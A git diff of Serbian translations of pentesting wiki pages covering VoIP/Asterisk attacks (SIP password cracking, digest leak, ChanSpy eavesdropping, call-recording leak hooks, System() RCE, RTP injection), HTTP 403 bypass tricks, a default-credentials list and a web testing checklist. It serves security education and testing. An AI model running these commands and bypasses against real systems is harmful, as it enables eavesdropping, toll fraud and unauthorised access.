* **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack je daljinski alat za otkrivanje lozinki za SIP usluge. Rcrack može testirati lozinke za više korisnika na različitim IP adresama i opsezima portova.
```bash
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
```
@ -305,7 +305,7 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
### VoIP Sniffing
Ako pronađete VoIP opremu unutar **Open Wifi mreže**, mogli biste **sniff-ovati sve informacije**. Štaviše, ako ste unutar zatvorenije mreže (povezani putem Ethernet-a ili zaštićene Wifi) mogli biste izvesti **MitM napade kao što su** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) između **PBX-a i gateway-a** kako biste sniff-ovali informacije.
Ako pronađete VoIP opremu unutar **Open Wifi mreže**, mogli biste **sniff-ovati sve informacije**. Štaviše, ako ste unutar zatvorenije mreže (povezani putem Ethernet-a ili zaštićene Wifi mreže) mogli biste izvesti **MitM napade kao što su** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) između **PBX-a i gateway-a** kako biste sniff-ovali informacije.
Među mrežnim informacijama, mogli biste pronaći **web akreditive** za upravljanje opremom, korisničke **ekstenzije**, **korisnička imena**, **IP** adrese, čak i **hashovane lozinke** i **RTP pakete** koje biste mogli reprodukovati da **čujete razgovor**, i još mnogo toga.
@ -320,7 +320,7 @@ Isto će se desiti ako se koristi **SRTP** i **ZRTP**, **RTP paketi neće biti u
[Pogledajte ovaj primer da bolje razumete **SIP REGISTER komunikaciju**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) da biste saznali kako se **akreditive šalju**.
* **`sipdump`** & **`sipcrack`,** deo **sipcrack** (`apt-get install sipcrack`): Ovi alati mogu **izvući** iz **pcap** **digest autentifikacije** unutar SIP protokola i **bruteforce** ih.
* **`sipdump`** & **`sipcrack`,** deo **sipcrack** (`apt-get install sipcrack`): Ovi alati mogu **izvući** iz **pcap**-a **digest autentifikacije** unutar SIP protokola i **bruteforce**-ovati ih.
```bash
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
@ -346,12 +346,12 @@ multimon -a DTMF -t wac pin.wav
```
### Besplatni pozivi / Asterisks konekcije sa pogrešnim podešavanjima
U Asterisku je moguće omogućiti konekciju **sa određenog IP adrese** ili sa **bilo koje IP adrese**:
U Asterisku je moguće dozvoliti konekciju **sa određenog IP adrese** ili sa **bilo koje IP adrese**:
```
host=10.10.10.10
host=dynamic
```
Ako je IP adresa specificirana, host **neće morati da šalje REGISTER** zahteve s vremena na vreme (u REGISTER paketu se šalje vreme trajanja, obično 30min, što znači da će u drugom scenariju telefon morati da se REGISTER-uje svake 30min). Međutim, moraće da ima otvorene portove koji omogućavaju veze sa VoIP serverom za primanje poziva.
Ako je IP adresa specificirana, host **neće morati da šalje REGISTER** zahteve s vremena na vreme (u REGISTER paketu se šalje vreme trajanja, obično 30min, što znači da će u drugom scenariju telefon morati da REGISTER svakih 30min). Međutim, moraće da ima otvorene portove koji omogućavaju veze sa VoIP serverom za primanje poziva.
Da bi se definisali korisnici, mogu se definisati kao:
@ -374,7 +374,7 @@ Na primer, ova konfiguracija bi bila ranjiva:\
`type=friend`
{% endhint %}
### Besplatni Pozivi / Asterisk Kontekst Pogrešne Konfiguracije
### Besplatni pozivi / Asterisk kontekst pogrešnih konfiguracija
U Asterisku, **kontekst** je imenovani kontejner ili sekcija u dijal planu koja **grupiše povezane ekstenzije, akcije i pravila**. Dijal plan je osnovna komponenta Asterisk sistema, jer definiše **kako se upravlja i usmerava dolaznim i odlaznim pozivima**. Konteksti se koriste za organizaciju dijal plana, upravljanje kontrolom pristupa i pružanje razdvajanja između različitih delova sistema.
@ -396,7 +396,7 @@ Ovo je **drugi kontekst** koji omogućava **pozivanje na bilo koji drugi broj**:
[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
```
Ako administrator definiše **default context** kao:
Ako administrator definiše **podrazumevajući kontekst** kao:
```
[default]
include => my_context
@ -407,7 +407,7 @@ Svako će moći da koristi **server za pozivanje na bilo koji drugi broj** (a ad
{% endhint %}
{% hint style="danger" %}
Štaviše, po defaultu **`sip.conf`** datoteka sadrži **`allowguest=true`**, tako da će **bilo koji** napadač bez **autentifikacije** moći da pozove bilo koji drugi broj.
Štaviše, po defaultu **`sip.conf`** datoteka sadrži **`allowguest=true`**, tako da će **bilo koji** napadač bez **autentifikacije** moći da poziva na bilo koji drugi broj.
{% endhint %}
* **`SIPPTS invite`** iz [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite proverava da li **PBX server dozvoljava da pravimo pozive bez autentifikacije**. Ako SIP server ima pogrešnu konfiguraciju, dozvoliće nam da pravimo pozive na spoljne brojeve. Takođe može da nam omogući da prebacimo poziv na drugi spoljni broj.
@ -436,7 +436,7 @@ IVRS u VoIP sistemima obično se sastoji od:
4. **Prikupljanje korisničkih unosa**: Prikupljanje informacija od pozivaoca, kao što su brojevi računa, ID slučajeva ili bilo koji drugi relevantni podaci.
5. **Integracija sa spoljnim sistemima**: Povezivanje IVR sistema sa bazama podataka ili drugim softverskim sistemima za pristup ili ažuriranje informacija, izvršavanje radnji ili pokretanje događaja.
U Asterisk VoIP sistemu, možete kreirati IVR koristeći dijal plan (**`extensions.conf`** datoteku) i razne aplikacije kao što su `Background()`, `Playback()`, `Read()`, i druge. Ove aplikacije vam pomažu da reprodukujete glasovne poruke, prikupite korisničke unose i kontrolišete tok poziva.
U Asterisk VoIP sistemu, možete kreirati IVR koristeći plan biranja (**`extensions.conf`** datoteku) i razne aplikacije kao što su `Background()`, `Playback()`, `Read()`, i druge. Ove aplikacije vam pomažu da reprodukujete glasovne poruke, prikupite korisničke unose i kontrolišete tok poziva.
#### Primer ranjive konfiguracije
```scss
@ -447,7 +447,7 @@ exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})
```
Prethodni je primer gde se korisniku traži da **pritisne 1 za poziv** u odeljenje, **2 za poziv** u drugo, ili **potpunu internu** ako je zna.\
Ranljivost je u tome što se naznačena **dužina interne ne proverava, tako da korisnik može uneti 5-sekundni vremenski prekid i biće pozvan kompletan broj.**
Ranljivost je u tome što se navedena **dužina interne ne proverava, tako da korisnik može uneti 5 sekundi vremensko ograničenje za ceo broj i biće pozvan.**
### Umetanje interne
@ -463,23 +463,23 @@ Međutim, ako **`${EXTEN}`** omogućava unos **više od brojeva** (kao u stariji
```scss
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
```
Zato, poziv na ekstenziju **`101`** i **`123123123`** će biti poslat i samo će prvi koji primi poziv biti uspostavljen... ali ako napadač koristi **ekstenziju koja zaobilazi bilo kakvo podudaranje** koje se vrši, ali ne postoji, mogao bi **injektovati poziv samo na željeni broj**.
Zato, poziv na ekstenziju **`101`** i **`123123123`** će biti poslat i samo će prvi koji primi poziv biti uspostavljen... ali ako napadač koristi **ekstenziju koja zaobilazi bilo kakvo podudaranje** koje se vrši, ali ne postoji, mogao bi **da injektuje poziv samo na željeni broj**.
## SIPDigestLeak ranjivost
SIP Digest Leak je ranjivost koja utiče na veliki broj SIP telefona, uključujući i hardverske i softverske IP telefone, kao i telefonske adaptore (VoIP na analogno). Ranjivost omogućava **curenje Digest autentifikacionog odgovora**, koji se izračunava iz lozinke. **Offline napad na lozinku je tada moguć** i može povratiti većinu lozinki na osnovu odgovora na izazov.
SIP Digest Leak je ranjivost koja utiče na veliki broj SIP telefona, uključujući i hardverske i softverske IP telefone, kao i telefonske adaptere (VoIP na analogne). Ranjivost omogućava **curenje odgovora na Digest autentifikaciju**, koji se izračunava iz lozinke. **Offline napad na lozinku je tada moguć** i može povratiti većinu lozinki na osnovu odgovora na izazov.
**[Scenario ranjivosti odavde**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
**[Scenarijo ranjivosti odavde**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
1. IP telefon (žrtva) sluša na bilo kojem portu (na primer: 5060), prihvatajući telefonske pozive
2. Napadač šalje INVITE IP telefonu
3. Telefon žrtve počinje da zvoni i neko podiže slušalicu i odmah je spušta (jer niko ne odgovara na telefonu na drugom kraju)
3. Telefon žrtve počinje da zvoni i neko podiže slušalicu i odmah je spušta (jer se niko ne javlja na drugom kraju)
4. Kada se telefon spusti, **telefon žrtve šalje BYE napadaču**
5. **Napadač izdaje 407 odgovor** koji **traži autentifikaciju** i postavlja izazov za autentifikaciju
6. **Telefon žrtve pruža odgovor na izazov za autentifikaciju** u drugom BYE
7. **Napadač može zatim izvršiti napad silom** na odgovor na izazov na svom lokalnom računaru (ili distribuiranoj mreži itd.) i pogoditi lozinku
6. **Telefon žrtve daje odgovor na izazov za autentifikaciju** u drugom BYE
7. **Napadač može zatim da izvede brute-force napad** na odgovor na izazov na svom lokalnom računaru (ili distribuiranoj mreži itd.) i pogodi lozinku
* **SIPPTS curenje** iz [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS curenje koristi ranjivost SIP Digest Leak koja utiče na veliki broj SIP telefona. Izlaz se može sačuvati u SipCrack formatu kako bi se izvršio bruteforce koristeći SIPPTS dcrack ili alat SipCrack.
* **SIPPTS curenje** iz [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS curenje koristi ranjivost SIP Digest Leak koja utiče na veliki broj SIP telefona. Izlaz se može sačuvati u SipCrack formatu kako bi se bruteforcovao koristeći SIPPTS dcrack ili SipCrack alat.
```bash
sippts leak -i 10.10.0.10
@ -502,7 +502,7 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100
```
### Click2Call
Click2Call omogućava **web korisniku** (koji, na primer, može biti zainteresovan za proizvod) da **unesu** svoj **broj telefona** kako bi primili poziv. Zatim će biti pozvan komercijalista, a kada **podigne slušalicu**, korisnik će biti **pozvan i povezan sa agentom**.
Click2Call omogućava **web korisniku** (koji, na primer, može biti zainteresovan za proizvod) da **unese** svoj **broj telefona** kako bi bio pozvan. Zatim će biti pozvan komercijal, a kada **podigne slušalicu**, korisnik će biti **pozvan i povezan sa agentom**.
Uobičajeni Asterisk profil za ovo je:
```scss
@ -532,7 +532,7 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr
U Asterisku je moguće koristiti komandu **`ChanSpy`** koja označava **produžetak(e) za praćenje** (ili sve njih) kako bi se čule razgovore koji se odvijaju. Ova komanda treba da bude dodeljena produžetku.
Na primer, **`exten => 333,1,ChanSpy('all',qb)`** označava da ako **pozovete** **produžetak 333**, on će **pratiti** **`sve`** produžetke, **početi da sluša** kada započne novi razgovor (**`b`**) u tihom režimu (**`q`**) jer ne želimo da se uključujemo u njega. Možete preći sa jednog razgovora na drugi pritiskom na **`*`**, ili biranjem broja produžetka.
Na primer, **`exten => 333,1,ChanSpy('all',qb)`** označava da ako **pozovete** **produžetak 333**, on će **pratiti** **`sve`** produžetke, **početi da sluša** kada započne novi razgovor (**`b`**) u tihom režimu (**`q`**) jer ne želimo da se uključujemo u njega. Možete preći sa jednog razgovora na drugi pritiskom na **`*`**, ili označavanjem broja produžetka.
Takođe je moguće koristiti **`ExtenSpy`** za praćenje samo jednog produžetka.
@ -548,21 +548,21 @@ exten => _X.,2,MixMonitor(${NAME})
Pozivi će biti sačuvani u **`/tmp`**.
Takođe možete naterati Asterisk da **izvrši skriptu koja će otkriti poziv** kada se zatvori.
Takođe možete čak naterati Asterisk da **izvrši skriptu koja će otkriti poziv** kada se zatvori.
```scss
exten => h,1,System(/tmp/leak_conv.sh &)
```
### RTCPBleed ranjivost
**RTCPBleed** je veliki bezbednosni problem koji utiče na Asterisk-bazirane VoIP servere (objavljen 2017. godine). Ranjivost omogućava **RTP (Real Time Protocol) saobraćaju**, koji nosi VoIP razgovore, da bude **presretnut i preusmeren od strane bilo koga na Internetu**. To se dešava zato što RTP saobraćaj zaobilazi autentifikaciju prilikom navigacije kroz NAT (Network Address Translation) vatrozidove.
**RTCPBleed** je veliki bezbednosni problem koji utiče na Asterisk-bazirane VoIP servere (objavljen 2017. godine). Ranjivost omogućava **RTP (Real Time Protocol) saobraćaju**, koji nosi VoIP razgovore, da bude **presretnut i preusmeren od strane bilo koga na Internetu**. To se dešava zato što RTP saobraćaj zaobilazi autentifikaciju kada prolazi kroz NAT (Network Address Translation) vatrozidove.
RTP proksiji pokušavaju da reše **NAT ograničenja** koja utiču na RTC sisteme tako što proksiraju RTP tokove između dve ili više strana. Kada je NAT u upotrebi, RTP proksi softver često ne može da se oslanja na RTP IP i port informacije dobijene putem signalizacije (npr. SIP). Stoga, niz RTP proksija je implementirao mehanizam gde se takav **IP i port tuplet automatski uči**. To se često radi inspekcijom dolaznog RTP saobraćaja i označavanjem izvornog IP i porta za bilo koji dolazni RTP saobraćaj kao onog na koji treba odgovoriti. Ovaj mehanizam, koji se može nazvati "način učenja", **ne koristi nikakvu vrstu autentifikacije**. Stoga **napadači** mogu **slati RTP saobraćaj ka RTP proksiju** i primati proksirani RTP saobraćaj koji je namenjen pozivaocu ili pozvanom u toku RTP toka. Ovu ranjivost nazivamo RTP Bleed jer omogućava napadačima da primaju RTP medijske tokove koji su namenjeni za legitimne korisnike.
RTP proksiji pokušavaju da reše **NAT ograničenja** koja utiču na RTC sisteme tako što proksiraju RTP tokove između dve ili više strana. Kada je NAT u upotrebi, RTP proksi softver često ne može da se oslanja na RTP IP i port informacije dobijene putem signalizacije (npr. SIP). Stoga, niz RTP proksija je implementirao mehanizam gde se takav **IP i port tuple automatski uči**. To se često radi inspekcijom dolaznog RTP saobraćaja i označavanjem izvornog IP-a i porta za bilo koji dolazni RTP saobraćaj kao onog na koji treba odgovoriti. Ovaj mehanizam, koji se može nazvati "način učenja", **ne koristi nikakvu vrstu autentifikacije**. Stoga **napadači** mogu **slati RTP saobraćaj ka RTP proksiju** i primati proksirani RTP saobraćaj koji je namenjen pozivaocu ili pozvanom u toku RTP toka. Ovu ranjivost nazivamo RTP Bleed jer omogućava napadačima da primaju RTP medijske tokove koji su namenjeni za legitimne korisnike.
Još jedno zanimljivo ponašanje RTP proksija i RTP stekova je da ponekad, **čak i ako nisu ranjivi na RTP Bleed**, oni će **prihvatiti, proslediti i/ili obraditi RTP pakete iz bilo kojeg izvora**. Stoga napadači mogu slati RTP pakete koji im mogu omogućiti da ubace svoj medij umesto legitimnog. Ovaj napad nazivamo RTP injekcija jer omogućava ubacivanje nelegitimnih RTP paketa u postojeće RTP tokove. Ova ranjivost može se naći i u RTP proksijima i u krajnjim tačkama.
Još jedno zanimljivo ponašanje RTP proksija i RTP stekova je da ponekad, **čak i ako nisu ranjivi na RTP Bleed**, oni će **prihvatiti, proslediti i/ili obraditi RTP pakete iz bilo kojeg izvora**. Stoga napadači mogu slati RTP pakete koji im mogu omogućiti da ubace svoj medij umesto legitimnog. Ovaj napad nazivamo RTP injekcija jer omogućava ubacivanje nelegitimnih RTP paketa u postojeće RTP tokove. Ova ranjivost može se naći i u RTP proksijima i krajnjim tačkama.
Asterisk i FreePBX tradicionalno koriste **`NAT=yes` podešavanje**, koje omogućava RTP saobraćaju da zaobiđe autentifikaciju, potencijalno dovodi do nedostatka zvuka ili jednosmernog zvuka na pozivima.
Asterisk i FreePBX tradicionalno koriste **`NAT=yes` podešavanje**, koje omogućava RTP saobraćaju da zaobiđe autentifikaciju, što potencijalno dovodi do nedostatka zvuka ili jednosmernog zvuka na pozivima.
Za više informacija posetite [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
Za više informacija proverite [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
* **`SIPPTS rtpbleed`** iz [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleed detektuje RTP Bleed ranjivost slanjem RTP tokova.
```bash
@ -576,13 +576,13 @@ sippts rtcpbleed -i 10.10.0.10
```bash
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
```
* **`SIPPTS rtpbleedinject`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedinject koristi RTP Bleed ranjivost injektujući audio fajl (WAV format).
* **`SIPPTS rtpbleedinject`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedinject koristi RTP Bleed ranjivost za injectovanje audio fajla (WAV format).
```bash
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
```
### RCE
U Asterisk-u na neki način uspete da **dodate pravila ekstenzije i ponovo ih učitate** (na primer, kompromitovanjem ranjivog web menadžera), moguće je dobiti RCE koristeći **`System`** komandu.
U Asterisk-u nekako uspete da **dodate pravila za ekstenzije i ponovo ih učitate** (na primer, kompromitovanjem ranjivog web menadžera), moguće je dobiti RCE koristeći **`System`** komandu.
```scss
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
```
@ -646,7 +646,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Get a hacker's perspective on your web apps, network, and cloud**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.

View file

@ -17,9 +17,9 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera na vaše web aplikacije, mrežu i cloud
**Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu**
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš težak rad u uverljive izveštaje.
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -51,11 +51,11 @@ Pokušajte koristiti **različite glagole** za pristup datoteci: `GET, HEAD, POS
* `X-ProxyUser-Ip: 127.0.0.1`
* `Host: localhost`
Ako je **putanja zaštićena**, možete pokušati da zaobiđete zaštitu putanje koristeći ova druga zaglavlja:
Ako je **putanja zaštićena** možete pokušati da zaobiđete zaštitu putanje koristeći ova druga zaglavlja:
* `X-Original-URL: /admin/console`
* `X-Rewrite-URL: /admin/console`
* Ako je stranica **iza proksija**, možda je proksi taj koji vam sprečava pristup privatnim informacijama. Pokušajte zloupotrebiti [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **ili** [**hop-by-hop zaglavlja**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
* Ako je stranica **iza proksija**, možda je proksi taj koji vam sprečava da pristupite privatnim informacijama. Pokušajte da zloupotrebite [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **ili** [**hop-by-hop zaglavlja**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
* Fuzz [**posebna HTTP zaglavlja**](special-http-headers.md) tražeći različite odgovore.
* **Fuzz posebna HTTP zaglavlja** dok fuzzujete **HTTP metode**.
* **Uklonite Host zaglavlje** i možda ćete moći da zaobiđete zaštitu.
@ -64,9 +64,9 @@ Ako je **putanja zaštićena**, možete pokušati da zaobiđete zaštitu putanje
Ako je _/path_ blokiran:
* Pokušajte koristiti _**/**_**%2e/path \_(ako je pristup blokiran proksijem, ovo bi moglo zaobići zaštitu). Pokušajte takođe**\_\*\* /%252e\*\*/path (dupla URL enkodiranje)
* Pokušajte **Unicode bypass**: _/**%ef%bc%8f**path_ (URL enkodirani karakteri su kao "/") tako da kada se ponovo enkodira biće _//path_ i možda ste već zaobišli proveru imena _/path_
* **Drugi zaobilaženja putanje**:
* Pokušajte koristiti _**/**_**%2e/path \_(ako je pristup blokiran od strane proksija, ovo bi moglo zaobići zaštitu). Pokušajte takođe**\_\*\* /%252e\*\*/path (dupla URL enkodiranje)
* Pokušajte **Unicode bypass**: _/**%ef%bc%8f**path_ (URL enkodirani karakteri su poput "/") tako da kada se ponovo enkodira biće _//path_ i možda ste već zaobišli provere imena _/path_
* **Ostali zaobilaženja putanje**:
* site.com/secret > HTTP 403 Forbidden
* site.com/SECRET > HTTP 200 OK
* site.com/secret/ > HTTP 200 OK
@ -81,7 +81,7 @@ Ako je _/path_ blokiran:
* /FUZZsecret
* /FUZZ/secret
* /secretFUZZ
* **Druga API zaobilaženja:**
* **Ostala API zaobilaženja:**
* /v3/users\_data/1234 --> 403 Forbidden
* /v1/users\_data/1234 --> 200 OK
* {“id”:111} --> 401 Unauthorized
@ -91,23 +91,23 @@ Ako je _/path_ blokiran:
* {"user\_id":"\<legit\_id>","user\_id":"\<victims\_id>"} (JSON Parameter Pollution)
* user\_id=ATTACKER\_ID\&user\_id=VICTIM\_ID (Parameter Pollution)
## **Manipulacija parametrom**
## **Manipulacija parametrima**
* Promenite **vrednost parametra**: Od **`id=123` --> `id=124`**
* Dodajte dodatne parametre u URL: `?`**`id=124` —-> `id=124&isAdmin=true`**
* Uklonite parametre
* Promenite redosled parametara
* Koristite posebne karaktere.
* Izvršite testiranje granica u parametrima — pružite vrednosti kao što su _-234_ ili _0_ ili _99999999_ (samo neki primeri).
* Izvršite testiranje granica u parametrima — pružite vrednosti poput _-234_ ili _0_ ili _99999999_ (samo neki primeri).
## **Verzija protokola**
Ako koristite HTTP/1.1 **pokušajte koristiti 1.0** ili čak testirajte da li **podržava 2.0**.
## **Druga zaobilaženja**
## **Ostala zaobilaženja**
* Dobijte **IP** ili **CNAME** domena i pokušajte **kontaktirati ga direktno**.
* Pokušajte da **opterećujete server** slanjem uobičajenih GET zahteva ([Ovo je uspelo ovom tipu sa Facebookom](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
* Pokušajte da **opterećujete server** slanjem uobičajenih GET zahteva ([Ovo je uspelo ovom momku sa Facebookom](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
* **Promenite protokol**: sa http na https, ili za https na http
* Idite na [**https://archive.org/web/**](https://archive.org/web/) i proverite da li je u prošlosti ta datoteka bila **globalno dostupna**.
@ -116,7 +116,7 @@ Ako koristite HTTP/1.1 **pokušajte koristiti 1.0** ili čak testirajte da li **
* **Pogodite lozinku**: Testirajte sledeće uobičajene kredencijale. Da li znate nešto o žrtvi? Ili ime CTF izazova?
* [**Brute force**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** Pokušajte osnovnu, digest i NTLM autentifikaciju.
{% code title="Uobičajeni kredencijali" %}
{% code title="Common creds" %}
```
admin admin
admin password
@ -140,9 +140,9 @@ guest guest
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i cloudu**
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš težak rad u uverljive izveštaje.
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš težak rad u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,15 +17,15 @@ Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt=""
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku**
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napada, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Osnovne informacije
Veb servis je naj **češći i opsežan servis** i postoji mnogo **različitih tipova ranjivosti**.
Veb servis je najviše **uobičajen i opsežan servis** i postoji mnogo **različitih tipova ranjivosti**.
**Podrazumevani port:** 80 (HTTP), 443(HTTPS)
```bash
@ -51,10 +51,10 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
* [ ] Počnite sa **identifikovanjem** **tehnologija** koje koristi web server. Potražite **trikove** koje treba imati na umu tokom ostatka testa ako uspešno identifikujete tehnologiju.
* [ ] Da li postoji neka **poznata ranjivost** verzije tehnologije?
* [ ] Koristite neku **poznatu tehnologiju**? Ima li nekog **korisnog trika** za izvlačenje više informacija?
* [ ] Da li postoji neki **specijalizovani skener** koji treba pokrenuti (kao što je wpscan)?
* [ ] Da li postoji neki **specijalizovani skener** za pokretanje (kao što je wpscan)?
* [ ] Pokrenite **skeneri opšte namene**. Nikada ne znate da li će pronaći nešto ili ako će pronaći neku zanimljivu informaciju.
* [ ] Počnite sa **početnim proverama**: **robots**, **sitemap**, **404** greška i **SSL/TLS sken** (ako je HTTPS).
* [ ] Počnite sa **spidering** web stranice: Vreme je da **pronađete** sve moguće **fajlove, foldere** i **parametre koji se koriste.** Takođe, proverite za **posebna otkrića**.
* [ ] Počnite sa **spideringom** web stranice: Vreme je da **pronađete** sve moguće **fajlove, foldere** i **parametre koji se koriste.** Takođe, proverite za **posebna otkrića**.
* [ ] _Imajte na umu da svaki put kada se otkrije novi direktorijum tokom brute-forcinga ili spideringa, treba ga spiderovati._
* [ ] **Brute-Forcing direktorijuma**: Pokušajte da brute-forcujete sve otkrivene foldere tražeći nove **fajlove** i **direktorijume**.
* [ ] _Imajte na umu da svaki put kada se otkrije novi direktorijum tokom brute-forcinga ili spideringa, treba ga Brute-Forcovati._
@ -120,18 +120,18 @@ Neki **trikovi** za **pronalazak ranjivosti** u različitim poznatim **tehnologi
* [**Electron Desktop (XSS do RCE)**](electron-desktop-apps/)
_Uzmite u obzir da **isti domen** može koristiti **različite tehnologije** na različitim **portovima**, **folderima** i **poddomenama**._\
Ako web aplikacija koristi neku poznatu **tehnologiju/platformu navedenu ranije** ili **bilo koju drugu**, ne zaboravite da **pretražujete Internet** za nove trikove (i javite mi!).
Ako web aplikacija koristi neku poznatu **tehnologiju/platformu navedenu ranije** ili **bilo koju drugu**, ne zaboravite da **pretražite Internet** za nove trikove (i javite mi!).
### Pregled izvornog koda
Ako je **izvorni kod** aplikacije dostupan na **github**, pored izvođenja **sopstvenog White box testa** aplikacije, postoji **neka informacija** koja bi mogla biti **korisna** za trenutni **Black-Box testiranje**:
* Da li postoji **Change-log ili Readme ili Verzija** fajl ili bilo šta sa **informacijama o verziji dostupnim** putem weba?
* Da li postoji **Change-log ili Readme ili Verzija** fajl ili bilo šta sa **informacijama o verziji dostupnim** putem veba?
* Kako i gde su sačuvane **akreditivi**? Da li postoji neka (dostupna?) **datoteka** sa akreditivima (korisničkim imenima ili lozinkama)?
* Da li su **lozinke** u **običnom tekstu**, **kriptovane** ili koji **hash algoritam** se koristi?
* Da li se koristi neki **glavni ključ** za kriptovanje nečega? Koji **algoritam** se koristi?
* Možete li **pristupiti bilo kojoj od ovih datoteka** iskorišćavajući neku ranjivost?
* Da li postoji neka **zanimljiva informacija na github-u** (rešeni i nerešeni) **problemi**? Ili u **istoriji commit-a** (možda neka **lozinka uvedena unutar starog commita**)?
* Da li postoji neka **zanimljiva informacija na github-u** (rešeni i nerešeni) **problemi**? Ili u **istoriji commit-a** (možda neka **lozinka unesena unutar starog commita**)?
{% content-ref url="code-review-tools.md" %}
[code-review-tools.md](code-review-tools.md)
@ -156,7 +156,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
Ako se koristi CMS, ne zaboravite da **pokrenete skener**, možda će se pronaći nešto sočno:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** vebsajtovi za bezbednosne probleme. (GUI)\
